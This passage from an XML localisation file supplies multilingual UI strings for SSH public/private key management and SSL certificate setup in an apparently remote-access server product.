<ru>В настоящее время для данной учетной записи пользователя нет авторизованных открытых ключей.</ru>
<ja>現在、このユーザ アカウントに対する認証済みの公開鍵はありません。</ja>
<zh>当前没有此用户帐户的授权公钥。</zh>
<ko>현재 이 사용자 계정에 대해 인증되지 않은 공용 키는 없습니다.</ko>
<en-gb>Currently there are no authorised public keys for this user account.</en-gb>
<hu>Jelenleg nincsenek jóváhagyott nyilvános kulcsok ehhez a felhasználói fiókhoz.</hu>
<pt-br>No momento não há chaves públicas autorizadas para esta conta do usuário.</pt-br>
<nl>Op dit ogenblik zijn geen geautoriseerde openbare sleutels aan deze gebruikersaccount toegewezen.</nl>
</msg>
<msg name="TYPE">
<en>Type</en>
<de>Typ</de>
<es>Tipo</es>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<en-gb>Type</en-gb>
<hu>Típus</hu>
<pt-br>Tipo</pt-br>
<nl>Type</nl>
</msg>
<msg name="BITS">
<en>Size (in bits)</en>
<de>Größe (in bits)</de>
<es>Tamaño (en bits)</es>
<fr>Taille (en bits)</fr>
<it>Dimensione (in bit)</it>
<ru>Размер (в битах)</ru>
<ja>サイズ (ビット)</ja>
<zh>大小(以位为单位)</zh>
<ko>크기(비트)</ko>
<en-gb>Size (in bits)</en-gb>
<hu>Méret (bitekben)</hu>
<pt-br>Tamanho (em bits)</pt-br>
<nl>Grootte (in bits)</nl>
</msg>
<msg name="FINGERPRINT">
<en>MD5 Fingerprint</en>
<de>MD5 Fingerabdruck</de>
<fr>MD5 Empreinte</fr>
<es>MD5 Fingerprint</es>
<it>Impronta digitale MD5</it>
<ru>Отпечаток MD5</ru>
<ja>MD5 指紋</ja>
<zh>MD5 指纹</zh>
<ko>MD5 지문</ko>
<en-gb>MD5 Fingerprint</en-gb>
<hu>MD5 Fingerprint</hu>
<pt-br>Impressão digital de MD5</pt-br>
<nl>MD5-vingerafdruk</nl>
</msg>
<msg name="COMMENT">
<en>Comment</en>
<de>Kommentar</de>
<es>Comentario</es>
<fr>Commentaire</fr>
<it>Commento</it>
<ru>Комментарий</ru>
<ja>コメント</ja>
<zh>注释</zh>
<ko>주석</ko>
<en-gb>Comment</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Comentários</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="PUBKEYCOPY">
<en>Public Key</en>
<de>Publik Schlüssel</de>
<es>Clave pública</es>
<fr>Clé publique</fr>
<it>Chiave pubblica</it>
<ru>Открытый ключ</ru>
<ja>公開鍵</ja>
<zh>公钥</zh>
<ko>공용 키</ko>
<en-gb>Public Key</en-gb>
<hu>Nyilvános kulcs</hu>
<pt-br>Chave pública</pt-br>
<nl>Openbare sleutel</nl>
</msg>
<msg name="ADDPUBKEY">
<en>Add public key</en>
<de>Publik Schlüssel anlegen</de>
<es>Agregar clave pública</es>
<it>Aggiungi chiave pubblica</it>
<ru>Добавить открытый ключ</ru>
<ja>公開鍵を追加</ja>
<zh>添加公钥</zh>
<ko>공용 키 추가</ko>
<en-gb>Add public key</en-gb>
<hu>Nyilvános kulcs hozzáadása</hu>
<pt-br>Adicionar chave pública</pt-br>
<nl>Openbare sleutel toevoegen</nl>
</msg>
<msg name="ADDKEYHINT">
<en>Paste the SSH public key string (such as "ssh-dss AAAAB3Nz...") in this field</en>
<de>Fügen Sie die Zeichenfolge für den öffentlichen SSH-Schlüssel (z. B. "ssh-dss AAAAB3Nz...") in dieses Feld ein.</de>
<fr>Copiez et collez dans ce champ la chaîne de clé publique SSH (par exemple " ssh-dss AAAAB3Nz... ").</fr>
<es>Pegar la cadena de clave pública SSH (como "ssh-dss AAAAB3Nz...") en este campo</es>
<it>Incollare la stringa della chiave pubblica SSH (come "ssh-dss AAAAB3Nz...") in questo campo.</it>
<ru>Вставить строку открытого ключа SSH (например, "ssh-dss AAAAB3Nz...") в данном поле</ru>
<ja>SSH 公開鍵文字列 (「ssh-dss AAAAB3Nz...」 など) をこのフィールドにペースト</ja>
<zh>在此字段中粘贴 SSH 公钥字符串(例如“ssh-dss AAAAB3Nz...”)</zh>
<ko>이 필드에 SSH 공용 키 문자열(예: "ssh-dss AAAAB3Nz...") 붙여넣기</ko>
<en-gb>Paste the SSH public key string (such as "ssh-dss AAAAB3Nz...") in this field</en-gb>
<hu>Szúrja be az SSH nyilvános kulcs karakterláncot (például: "ssh-dss AAAAB3Nz...") ebbe a mezőbe</hu>
<pt-br>Colar a seqüência de caracteres da chave pública de SSH (como "ssh-dss AAAAB3Nz...") neste campo</pt-br>
<nl>Plak de gekopieerde tekenreeks van de openbare sleutel voor SSH (bv. "ssh-dss AAAAB3Nz...") in dit veld</nl>
</msg>
<msg name="GENKEYTITLE">
<en>Generate and authorize new public/private key pair</en>
<de>Neues Paar öffentlicher/privater Schlüssel generieren und autorisieren</de>
<fr>Générer et autoriser la nouvelle paire de clés publiques/privées</fr>
<es>Generar y autorizar pareja de clave pública/privada</es>
<it>Genera e autorizza nuova coppia di chiavi pubblica/privata</it>
<ru>Сгенерировать и авторизовать новую пару открытого и закрытого ключей</ru>
<ja>新しい公開鍵と秘密鍵のペアを生成して認証する</ja>
<zh>生成并授权新的公钥/私钥对</zh>
<ko>새 공용/개인 키 쌍 생성 및 인증</ko>
<en-gb>Generate and authorise new public/private key pair</en-gb>
<hu>Hozza létre és hagyja jóvá az új nyilvános/személyes kulcs párt</hu>
<pt-br>Gerar e autorizar novo par de chave pública/privada</pt-br>
<nl>Nieuw paar openbare/persoonlijke sleutels genereren en autoriseren</nl>
</msg>
<msg name="GENKEY">
<en>Generate</en>
<de>Generieren</de>
<es>Generar</es>
<fr>Générer</fr>
<it>Genera</it>
<ru>Сгенерировать</ru>
<ja>生成</ja>
<zh>生成</zh>
<ko>생성</ko>
<en-gb>Generate</en-gb>
<hu>Létrehozás</hu>
<pt-br>Gerar</pt-br>
<nl>Genereren</nl>
</msg>
<msg name="PWDTOOSHORT">
<en>The private key password must be at least 5 characters long.</en>
<de>Das Passwort für den privaten Schlüssel muss aus mindestens 5 Zeichen bestehen.</de>
<fr>Le mot de passe de clé privée doit contenir au moins 5 caractères.</fr>
<es>La contraseña de clave privada debe tener, al menos, 5 caracteres.</es>
<it>La chiave privata deve contenere almeno 5 caratteri.</it>
<ru>Пароль закрытого ключа должен иметь длину не менее 5 символов.</ru>
<ja>秘密鍵のパスワードは、最低 5 文字以上にする必要があります。</ja>
<zh>私钥密码必须至少包含 5 个字符。</zh>
<ko>개인 키 암호는 5자 이상이어야 합니다.</ko>
<en-gb>The private key password must be at least 5 characters long.</en-gb>
<hu>A személyes kulcs jelszava legalább 5 karakterből kell álljon.</hu>
<pt-br>A senha da chave privada deve ter pelo menos 5 caracteres.</pt-br>
<nl>Het wachtwoord van de persoonlijke sleutel moet minstens 5 tekens lang zijn.</nl>
</msg>
<msg name="INVALIDKEYSIZE">
<en>Key size must be between 512 and 4096 bits.</en>
<de>Die Schlüsselgröße muss zwischen 512 und 4096 Bit liegen.</de>
<fr>La taille de la clé doit se situer entre 512 et 4 096 bits.</fr>
<es>El tamaño de la clave debe ser de entre 512 y 4096 bits.</es>
<it>La dimensione della chiave deve essere compresa tra 512 e 4096 bit.</it>
<ru>Размер ключа должен быть в пределах от 512 до 4096 бит.</ru>
<ja>鍵のサイズは、512 ~ 4096 ビットまでの間にする必要があります。</ja>
<zh>密钥大小必须介于 512 位和 4096 位之间。</zh>
<ko>키 크기는 512에서 4096비트 사이여야 합니다.</ko>
<en-gb>Key size must be between 512 and 4096 bits.</en-gb>
<hu>A kulcsméret 512 és 4096 bit közötti kell legyen.</hu>
<pt-br>O tamanho da chave deve ter entre 512 e 4096 bits.</pt-br>
<nl>De grootte van de sleutel moet tussen 512 en 4.096 bits zijn.</nl>
</msg>
<msg name="DELKEY">
<en>Delete this key</en>
<de>Diesen Schlüssel zu löschen</de>
<es>Eliminar esta clave</es>
<fr>Supprimer cette clé</fr>
<it>Elimina questa chiave</it>
<ru>Удалить данный ключ</ru>
<ja>この鍵を削除</ja>
<zh>删除此密钥</zh>
<ko>이 키 삭제</ko>
<en-gb>Delete this key</en-gb>
<hu>Ennek a kulcsnak a törlése</hu>
<pt-br>Excluir esta chave</pt-br>
<nl>Deze sleutel verwijderen</nl>
</msg>
<msg name="DELKEYCONFIRM">
<en>Do you really want to delete the following key?\n\nFingerprint: $1\nComment: $2</en>
<de>Möchten Sie den folgenden Schlüssel wirklich löschen?\n\nFingerabdruck: $1\nKommentar: $2</de>
<fr>Voulez-vous vraiment supprimer la clé suivante ?\n\nEmpreinte digitale : $1\nCommentaire : $2</fr>
<es>¿Está seguro de que desea eliminar la siguiente clave?\n\nFingerprint: $1\nComentario: $2</es>
<it>Eliminare la chiave seguente?\n\nImpronta digitale: $1\nCommento: $2</it>
<ru>Вы действительно хотите удалить следующий ключ?\n\nОтпечаток: $1\nКомментарий: $2</ru>
<ja>次の鍵を削除しますか?\n\n指紋 :$1\nコメント : $2</ja>
<zh>是否确实要删除以下密钥?\n\n指纹:$1\n注释:$2</zh>
<ko>다음 키를 삭제하시겠습니까?\n\n지문: $1\n주석: $2</ko>
<en-gb>Do you really want to delete the following key?\n\nFingerprint: $1\nComment: $2</en-gb>
<hu>Valóban törölni kívánja a következő kulcsot?\n\nFingerprint: $1\nMegjegyzés: $2</hu>
<pt-br>Deseja realmente excluir a chave a seguir?\n\nImpressão digital: $1\nComentário: $2</pt-br>
<nl>Weet u zeker dat u de volgende sleutel wilt verwijderen?\n\nVingerafdruk: $1\nOpmerking: $2</nl>
</msg>
<msg name="DELKEYCONFIRMSHORT">
<en>Are you sure you want to delete this key?</en>
<es>¿Está seguro de querer eliminar esta contraseña?</es>
<fr>Êtes-vous sûr vous de vouloir supprimer cette clé et toutes ses sous-clés?</fr>
<de>Möchten Sie diesen Schlüssel wirklich löschen?</de>
<it>Eliminare questa chiave?</it>
<ru>Удалить этот раздел?</ru>
<ja>このキーを削除しますか?</ja>
<zh>是否确实要删除此项?</zh>
<ko>이 키를 삭제하시겠습니까?"</ko>
<en-gb>Are you sure you want to delete this key?</en-gb>
<hu>Biztosan törölni szeretné ezt a kulcsot?</hu>
<pt-br>Tem certeza de que deseja excluir esta chave?</pt-br>
<nl>Weet u zeker dat u deze sleutel wilt verwijderen?</nl>
</msg>
<msg name="PRIVKEYTITLE">
<en>Generated private key</en>
<de>Der private Schlüssel wurde generiert.</de>
<fr>Clé privée générée</fr>
<es>Clave privada generada</es>
<it>Chiave privata generata</it>
<ru>Сгенерированный закрытый ключ</ru>
<ja>生成された秘密鍵</ja>
<zh>生成的私钥</zh>
<ko>생성된 개인 키</ko>
<en-gb>Generated private key</en-gb>
<hu>Létrehozott személyes kulcs</hu>
<pt-br>Chave privada gerada</pt-br>
<nl>Persoonlijke sleutel gegenereerd</nl>
</msg>
<msg name="PRIVKEYNEW">
<en>You have successfully generated a new public/private key pair. If the private key download did not start automatically, click the button below.</en>
<de>Es wurde erfolgreich ein neues Paar öffentlicher/privater Schlüssel generiert. Klicken Sie unten auf die Schaltfläche, wenn der Download des privaten Schlüssels nicht automatisch gestartet wird.</de>
<fr>Vous avez généré avec succès une nouvelle paire de clés publiques/privées. Si le téléchargement de la clé privée n'a pas démarré automatiquement, cliquez sur le bouton ci-dessous.</fr>
<es>Ha generado correctamente un pareja de clave pública/privada. Si no se inicia automáticamente la descarga de la clave privada, haga clic en el botón de abajo.</es>
<it>Una nuova coppia di chiavi pubblica/privata è stata generata. Se il download della chiave privata non viene avviato automaticamente, fare clic sul pulsante riportato di seguito.</it>
<ru>Новая пара открытого и закрытого ключей успешно сгенерирована. Если загрузка закрытого ключа не началась автоматически, щелкните расположенную ниже кнопку.</ru>
<ja>新しい公開鍵と秘密鍵のペアの作成に成功しました。秘密鍵のダウンロードが自動的に開始しない場合は、以下のボタンをクリックしてください。</ja>
<zh>您已成功生成一个新的公钥/私钥对。如果私钥下载并未自动启动,请单击以下按钮。</zh>
<ko>새 공용/개인 키 쌍을 생성했습니다. 자동으로 개인 키 다운로드가 시작되지 않은 경우 아래 버튼을 클릭하십시오.</ko>
<en-gb>You have successfully generated a new public/private key pair. If the private key download did not start automatically, click the button below.</en-gb>
<hu>Sikeresen létrehozta az új nyilvános/személyes kulcspárt Ha a személyes kulcs letöltése nem indul el automatikusan, kattintson az alábbi gombra.</hu>
<pt-br>Você gerou com êxito um novo par de chave pública/privada. Se o download da chave privada não for iniciado automaticamente, clique no botão abaixo.</pt-br>
<nl>U hebt een nieuw paar openbare/persoonlijke sleutels gegenereerd. Als de persoonlijke sleutel niet automatisch wordt gedownload, klikt u op de onderstaande knop.</nl>
</msg>
<msg name="PRIVKEYOLD">
<en>You can download your previously generated private key in OpenSSH format by clicking the button below.</en>
<de>Sie können den zuvor generierten privaten Schlüssel im OpenSSH-Format herunterladen, indem Sie auf die Schaltfläche unten klicken.</de>
<fr>Pour télécharger en format OpenSSH votre clé privée précédemment générée, cliquez sur le bouton ci-dessous.</fr>
<es>Puede descargar su clave privada generada previamente en formato OpenSSH haciendo clic en el botón de abajo.</es>
<it>È possibile effettuare il download della chiave privata generata in precedenza in formato OpenSSH facendo clic sul pulsante riportato di seguito.</it>
<ru>Щелкнув приведенную ниже кнопку, можно загрузить ранее сгенерированный закрытый ключ в формате OpenSSH.</ru>
<ja>下のボタンをクリックすると、以前に作成された秘密鍵を OpenSSH フォーマットでダウンロードできます。</ja>
<zh>通过单击以下按钮,您可以以 OpenSSH 格式下载以前生成的私钥。</zh>
<ko>아래 버튼을 클릭하여 OpenSSH 형식으로 이전에 생성한 개인 키를 다운로드할 수 있습니다.</ko>
<en-gb>You can download your previously generated private key in OpenSSH format by clicking the button below.</en-gb>
<hu>A korábban létrehozott személyes kulcsát OpenSSH formátumban töltheti le, az alábbi gombra kattintva.</hu>
<pt-br>Você pode baixar sua chave privada gerada anteriormente no formato OpenSSH clicando no botão abaixo.</pt-br>
<nl>Als u op de onderstaande knop klikt, kunt u de persoonlijke sleutel die u zonet hebt gegenereerd, downloaden in OpenSSH-indeling.</nl>
</msg>
<msg name="PRIVKEYWARN">
<en>The private key should not be kept on this computer. Once you have downloaded and installed it in your SSH client, make sure you click the Purge button to (securely) delete it from here.</en>
<de>Der private Schlüssel darf nicht auf diesem Computer bleiben. Klicken Sie nach dem Herunterladen und Installieren des Schlüssels im SSH-Client auf die Schaltfläche "Löschen", um den Schlüssel (sicher) zu löschen.</de>
<fr>La clé privée ne doit pas être conservée sur cet ordinateur. Une fois que vous l'avez téléchargée et installée dans votre client SSH, cliquez sur le bouton Purger pour l'effacer en toute sécurité.</fr>
<es>No se debe mantener la clave privada en este ordenador. Una vez descargada e instalada en su cliente de SSH, asegúrese de hacer clic en el botón Purgar para eliminarla de aquí (de forma segura).</es>
<it>La chiave privata non deve essere conservata su questo computer. Dopo averne effettuato il download e l'installazione nel client SSH, eliminarla in modo sicuro facendo clic sul pulsante Elimina chiave privata.</it>
<ru>Данный закрытый ключ не следует хранить на данном компьютере. После его загрузки и установки в своем SSH-клиенте обязательно щелкните кнопку "Очистить", чтобы (безопасно) удалить ключ из данного компьютера.</ru>
<ja>秘密鍵を、このコンピュータに保存しないでください。これを SSH クライアントにダウンロードおよびインストールした後は、[削除] ボタンをクリックして必ず削除してください。</ja>
<zh>私钥不应保存在该计算机中。下载并将其安装在您的 SSH 客户端后,请确保单击“清除”按钮从此处(安全)删除私钥。</zh>
<ko>개인 키를 이 컴퓨터에 저장해서는 안됩니다. SSH 클라이언트에 개인 키를 다운로드 및 설치한 후 "지우기" 버튼을 클릭하여 (안전하게) 삭제해야 합니다.</ko>
<en-gb>The private key should not be kept on this computer. Once you have downloaded and installed it in your SSH client, make sure you click the Purge button to (securely) delete it from here.</en-gb>
<hu>A személyes kulcsot nem szabad ezen a számítógépen tartani. Amint letöltötte és telepítette azt az SSH kliensprogramban, ne feledjen az Ürítés gombra kattintani, hogy (biztonságosan) törölje azt onnan.</hu>
<pt-br>A chave privada não deve ser mantida neste computador. Depois que você baixá-la e instalá-la no cliente SSH, assegure-se de clicar no botão Purge (Eliminar) para excluí-la com segurança daqui.</pt-br>
<nl>Het is raadzaam de persoonlijke sleutel niet op deze computer te bewaren. Nadat u de sleutel naar uw SSH-client hebt gedownload en deze hierop hebt geïnstalleerd, moet u op de knop "Permanent verwijderen" klikken om de sleutel (veilig) van de client te verwijderen.</nl>
</msg>
<msg name="KEYPWDHINT">
<en>The password above will be used to encrypt the private key. Encrypting the private key is optional, but recommended.</en>
<de>Das obige Passwort wird zum Verschlüsseln des privaten Schlüssels verwendet. Die Verschlüsselung des privaten Schlüssels ist optional, wird jedoch empfohlen.</de>
<fr>Le mot de passe ci-dessus sera utilisé pour crypter la clé privée. Le cryptage de la clé privée est facultatif mais conseillé.</fr>
<es>Se utilizará la contraseña de arriba para cifrar la clave privada. El cifrado de la clave privada es opcional, pero recomendable.</es>
<it>La password precedente verrà utilizzata per crittografare la chiave privata. La crittografia della chiave privata è opzionale ma consigliata.</it>
<ru>Приведенный выше пароль будет использоваться для шифрования данного закрытого ключа. Шифровать закрытый ключ не обязательно, но рекомендуется.</ru>
<ja>上記のパスワードは、プライベートの暗号化に使用されます。秘密鍵を暗号化するかどうかは選択可能ですが、暗号化することを推奨します。</ja>
<zh>以上密码将用于加密私钥。可以选择加密私钥,并且推荐您这样做。</zh>
<ko>위의 암호는 개인 키 암호화에 사용됩니다. 개인 키 암호화는 선택 사항이지만 암호화하는 것이 좋습니다.</ko>
<en-gb>The password above will be used to encrypt the private key. Encrypting the private key is optional, but recommended.</en-gb>
<hu>A fenti jelszót a személyes kulcs titkosítására fogja használni. A személyes kulcs titkosítása nem kötelező, de ajánlott.</hu>
<pt-br>A senha acima será usada para criptografar a chave privada. A criptografia da chave privada é opcional, mas recomendada.</pt-br>
<nl>Het bovenstaande wachtwoord zal worden gebruikt om de persoonlijke sleutel te coderen. Het coderen van de persoonlijke sleutel is optioneel, maar wordt wel aanbevolen.</nl>
</msg>
<msg name="PRIVKEYDL">
<en>Download Private Key</en>
<de>Public Schlüssel herunterladen</de>
<es>Descargar clave privada</es>
<fr>Téléchargez clé privée</fr>
<it>Download chiave privata</it>
<ru>Загрузить закрытый ключ</ru>
<ja>秘密鍵のダウンロード</ja>
<zh>下载私钥</zh>
<ko>개인 키 다운로드</ko>
<en-gb>Download Private Key</en-gb>
<hu>Személyes kulcs letöltése</hu>
<pt-br>Download da chave privada</pt-br>
<nl>Persoonlijke sleutel downloaden</nl>
</msg>
<msg name="PRIVKEYPURGE">
<en>Purge Private Key</en>
<de>Privaten Schlüssel löschen</de>
<fr>Purger la clé privée</fr>
<es>Purgar clave privada</es>
<it>Elimina chiave privata</it>
<ru>Удалить закрытый ключ</ru>
<ja>秘密鍵の削除</ja>
<zh>清除私钥</zh>
<ko>개인 키 지우기</ko>
<en-gb>Purge Private Key</en-gb>
<hu>Személyes kulcs ürítése</hu>
<pt-br>Eliminar chave privada</pt-br>
<nl>Persoonlijke sleutel permanent verwijderen</nl>
</msg>
<cat name="TYPE">
<msg name="1">
<en>RSA</en>
<de>RSA</de>
<es>RSA</es>
<fr>RSA</fr>
<it>RSA</it>
<ru>RSA</ru>
<ja>RSA</ja>
<zh>RSA</zh>
<ko>RSA</ko>
<en-gb>RSA</en-gb>
<hu>RSA</hu>
<pt-br>RSA</pt-br>
<nl>RSA</nl>
</msg>
<msg name="2">
<en>DSA</en>
<de>DSA</de>
<es>DSA</es>
<fr>DSA</fr>
<it>DSA</it>
<ru>DSA</ru>
<ja>DSA</ja>
<zh>DSA</zh>
<ko>DSA</ko>
<en-gb>DSA</en-gb>
<hu>DSA</hu>
<pt-br>DSA</pt-br>
<nl>DSA</nl>
</msg>
</cat>
</cat>
<!-- CONFIG.SSL -->
<cat name="SSL">
<msg name="TITLE">
<en>SSL Setup</en>
<de>SSL Setup</de>
<es>Configuración SSL</es>
<fr>Installation SSL</fr>
<it>Impostazione SSL</it>
<ru>Установка SSL</ru>
<ja>SSL 設定</ja>
<zh>SSL 设置</zh>
<ko>SSL 설정</ko>
<en-gb>SSL Setup</en-gb>
<hu>SSL beállítás</hu>
<pt-br>Configuração de SSL</pt-br>
<nl>Configuratie van SSL</nl>
</msg>
<msg name="SC.LIST">
<en>Below is a list of server certificates found on your computer. Select the one
you would like to use to secure your %PRODUCTNAME session, or you can create a new one.</en>
<de>Unten ist eine Liste von Serverzertifikaten, die auf Ihrem Computer
gefunden wurden. Wählen Sie entweder ein Zertifikat aus oder erstellen Sie
ein neues, mit dem Sie Ihre %PRODUCTNAME Sitzung absichern wollen.</de>
<es>A continuación se muestra una lista de certificados del servidor encontrados en su ordenador. Elija el que
quiera utilizar para asegurar su sesión %PRODUCTNAME o puede crear uno nuevo.</es>
<fr>Ci-dessous se trouve une liste de certificats de serveur trouvés sur votre ordinateur.
Choisissez celui que vous voulez employer pour sécuriséf votre session sur %PRODUCTNAME,
ou créez-en un nouveau.</fr>
<it>Di seguito è riportato un elenco di certificati server rilevati nel computer. Selezionare il certificato che si desidera utilizzare per proteggere la sessione di %PRODUCTNAME o crearne uno nuovo.</it>
<ru>Ниже представлен список сертификатов сервера, найденных на данном компьютере. Выберите один из них, чтобы использовать для защиты сеанса %PRODUCTNAME,или можете создать новый сертификат</ru>
<ja>以下に示すのは、コンピュータで検出されたサーバー証明書のリストです。%PRODUCTNAME セッションの保護に使用するものを 1 つ選択してください。または新規作成することもできます。</ja>
<zh>以下是在您的计算机中找到的服务器证书列表。选择一个要用于确保 %PRODUCTNAME 会话安全的证书,您也可以创建一个新证书。</zh>
<ko>아래는 컴퓨터에서 찾은 서버 인증서 목록입니다. %PRODUCTNAME 세션을 보호하기 위해 사용할 인증서를 선택하거나 새 인증서를 만들 수 있습니다.</ko>
<en-gb>Below is a list of server certificates found on your computer. Select the one you would like to use to secure your %PRODUCTNAME session or you can create a new one.</en-gb>
<hu>Alább található egy lista a számítógépén található kiszolgáló-tanúsítványokról. Válassza azt,
amelyet a %PRODUCTNAME munkamenet biztosítására kíván felhasználni, vagy hozzon létre egy újat.</hu>
<pt-br>Abaixo há uma lista de certificados do servidor encontrados no computador. Selecione o que
deseja usar para proteger sua sessão do %PRODUCTNAME, ou você pode criar um novo.</pt-br>
<nl>Hieronder is een lijst weergegeven met de servercertificaten die op uw computer zijn aangetroffen. Selecteer het certificaat dat u wilt gebruiken om uw %PRODUCTNAME-sessie te beveiligen of maak een nieuw certificaat.</nl>
</msg>
<msg name="SC.LISTNP">
<en>The following certificates were also found on your computer, but %PRODUCTNAME cannot
use them because they have a problem. It is possible that they do not have an exportable
private key, the certificate chain could not be verified, or the certificates have expired
or are not yet valid.</en>
<de>Nachfolgende Zertifikate wurden ebenfalls auf Ihrem Computer gefunden. %PRODUCTNAME
kann sie jedoch nicht verwenden, weil sie keinen exportierbaren privaten Schlüssel haben.</de>
<es>También se encontraron los siguientes certificados en su ordenador, pero %PRODUCTNAME no puede
utilizarlos debido a que tienen un problema. Es posible que no tengan una clave privada exportable,
que la cadena de certificados no se haya podido verificada o que los certificados hayan caducado
o no sean válidos.</es>
<fr>Les certificats suivants ont été également trouvés sur votre ordinateur, mais %PRODUCTNAME ne peut pas
les utiliser parce qu'ils ont un problème. Il est possible qu'ils ne possèdent pas une clé
privée exportable, que la chaîne du certificat ne peut pas être vérifiée, que les certificats ont expirés
ou qu'ils ne soient plus valides.</fr>
<it>Nel computer sono stati individuati anche i seguenti certificati che non possono essere utilizzati in %PRODUCTNAME a causa di un problema. È possibile che non dispongano di una chiave privata esportabile, che non sia stato possibile verificare la catena di certificati, che siano scaduti o non siano ancora validi.</it>
<ru>Следующие сертификаты также были найдены на данном компьютере, но %PRODUCTNAME не может их использовать из-за наличия в них проблем. Возможно, они не имеют экспортируемого закрытого ключа, не удалось проверить цепочку сертификатов или сертификаты просрочены либо еще не вступили в силу.</ru>
<ja>以下の証明書もコンピュータで検出されていますが、問題があるため %PRODUCTNAME では使用できません。エキスポート可能な秘密鍵がない、証明書チェインを検証できない、証明書が期限切れか無効である、などの原因が考えられます。</ja>
<zh>在您的计算机上还找到以下证书,但由于存在问题 %PRODUCTNAME 无法使用它们。可能的原因是这些证书没有可导出的私钥、无法验证证书链、证书已过期或尚未生效。</zh>
<ko>또한 컴퓨터에 다음과 같은 인증서가 있지만 이 인증서에는 문제가 있어 %PRODUCTNAME에서 사용할 수 없습니다. 인증서에 내보낼 수 있는 개인 키가 없거나, 인증서 체인을 확인할 수 없거나 또는 인증서가 만료되었거나 아직 유효하지 않을 수 있습니다.</ko>
<en-gb>The following certificates were also found on your computer, but %PRODUCTNAME cannot use them because they have a problem. It is possible that they do not have an exportable private key, the certificate chain could not be verified, the certificates have expired or are not yet valid.</en-gb>
<hu>A következő tanúsítványok szintén megtalálhatók az Ön számítógépén, de a %PRODUCTNAME nem képes
használni azokat, mert probléma merült fel velük kapcsolatban. Lehetséges, hogy nem rendelkeznek exportálható
személyes kulccsal, vagy a tanúsítvány-láncot nem lehet ellenőrizni, vagy a tanúsítványok lejártak, 
vagy pedig már nem érvényesek.</hu>
<pt-br>Os certificados a seguir também foram encontrados no seu computador, mas o %PRODUCTNAME não pode
usá-los porque eles têm um problema. É possível que eles não tenham uma chave privada
exportável, a cadeia de certificados não pode ser verificada ou os certificados foram expirados
ou ainda não são válidos.</pt-br>
<nl>Bovendien werden de volgende certificaten op uw computer gevonden, maar deze kunnen in %PRODUCTNAME niet worden gebruikt omdat deze een probleem inhouden. Mogelijk kan met deze certificaten geen persoonlijke sleutel worden geëxporteerd, kon de certificaatketen niet worden geverifieerd of zijn de certificaten verstreken of nog niet geldig.</nl>
</msg>
<msg name="SC.NEW">
<en>Create a self-signed certificate</en>
<de>Eigens signiertes Zertifikat erstellen.</de>
<es>Crear un nuevo certificado autofirmado</es>
<fr>Créer un certificat auto-signé</fr>
<it>Crea un certificato autofirmato</it>
<ru>Создайте самоподписанный сертификат</ru>
<ja>自己署名証明書の作成</ja>
<zh>创建自签名证书</zh>
<ko>자체 서명된 인증서 만들기</ko>
<en-gb>Create a self-signed certificate</en-gb>
<hu>Saját aláírású tanúsítvány létrehozása</hu>
<pt-br>Criar um certificado assinado automaticamente</pt-br>
<nl>Een zelf-ondertekend certificaat maken</nl>
</msg>
<msg name="SC.SVC">
<en>Look in Certificate Services</en>
<de>Schauen Sie in die Zertifikatsdienste</de>
<es>Mire en Certificar servicios</es>
<fr>Regardez dans les services de certificats</fr>
<it>Cerca nei servizi certificati</it>
<ru>См. в службах сертификатов</ru>
<ja>認証サービスの確認</ja>
<zh>在证书服务中查找</zh>
<ko>인증서 서비스에서 찾기</ko>
<en-gb>Look in Certificate Services</en-gb>
<hu>Tekintse meg a tanúsítvány-szolgáltatásokat</hu>
<pt-br>Observar Serviços do certificado</pt-br>
<nl>Zoeken in Certificate Services</nl>
</msg>
<msg name="SC.DONE">
<en>The selected certificate has been assigned to %PRODUCTNAME.</en>
<de>Das gewählte Zertifikat wurde %PRODUCTNAME zugeordnet.</de>
<es>El certificado seleccionado ha sido asignado a %PRODUCTNAME.</es>
<fr>Le certificat sélectionné a été assigné à %PRODUCTNAME.</fr>
<it>Il certificato selezionato è stato assegnato a %PRODUCTNAME.</it>
<ru>Выбранный сертификат назначен %PRODUCTNAME.</ru>
<ja>選択した証明書は %PRODUCTNAME に割り当てられました。</ja>
<zh>已将选定证书分配给 %PRODUCTNAME。</zh>
<ko>선택한 인증서를 %PRODUCTNAME에 할당했습니다.</ko>
<en-gb>The selected certificate has been assigned to %PRODUCTNAME.</en-gb>
<hu>A választott tanúsítványt a %PRODUCTNAME termékhez rendelte.</hu>
<pt-br>O certificado selecionado foi atribuído ao %PRODUCTNAME.</pt-br>
<nl>Het geselecteerde certificaat is toegewezen aan %PRODUCTNAME.</nl>
</msg>
<msg name="SC.INUSE">
<en>The certificate currently in use by %PRODUCTNAME is</en>
<de>Das derzeit verwendete Zertifikat von %PRODUCTNAME ist</de>
<es>El certificado que está siendo utilizado por %PRODUCTNAME es</es>
<fr>Le certificat actuellement utilisé par %PRODUCTNAME est</fr>
<it>Il certificato attualmente utilizzato da %PRODUCTNAME è</it>
<ru>В настоящее время %PRODUCTNAME использует сертификат</ru>
<ja>%PRODUCTNAME で現在使用されている証明書</ja>
<zh>当前 %PRODUCTNAME 正在使用的证书为</zh>
<ko>%PRODUCTNAME에서 현재 사용 중인 인증서</ko>
<en-gb>The certificate currently in use by %PRODUCTNAME is</en-gb>
<hu>A %PRODUCTNAME által jelenleg használt tanúsítvány:</hu>
<pt-br>O certificado em uso no momento pelo %PRODUCTNAME é</pt-br>
<nl>Het certificaat dat op dit ogenblik wordt gebruikt door %PRODUCTNAME is</nl>
</msg>
<msg name="CA.LIST">
<en>Choose the certificate authority (CA) from the list below that you want
to sign your new server certificate with, or choose "create new CA" to use
a newly created one.</en>
<de>Wählen Sie entweder eine Zertifizierungsstelle aus der Liste unten, mit
der Sie das neue Serverzertifikat signieren wollen, oder wählen Sie "Neue
Zertifizierungsstelle erstellen".</de>
<es>Elija de la siguiente lista el certificado de autenticidad (CA) que quiera que 
firme su nuevo certificado de servido o elija "crear nuevo CA" para utilizar
un nuevo certificado.</es>
<fr>Choisissez l'Autorité de Certification (CA) dans la liste ci-dessous avec qui
vous voulez signer votre nouveau certificat du serveur, ou sélectionnez "Définir une
nouvelle Autorité de Certification (CA)".</fr>
<it>Scegliere dall'elenco riportato di seguito l'autorità di certificazione che deve firmare il nuovo certificato server oppure scegliere "Crea nuova autorità di certificazione" per utilizzarne una appena creata.</it>
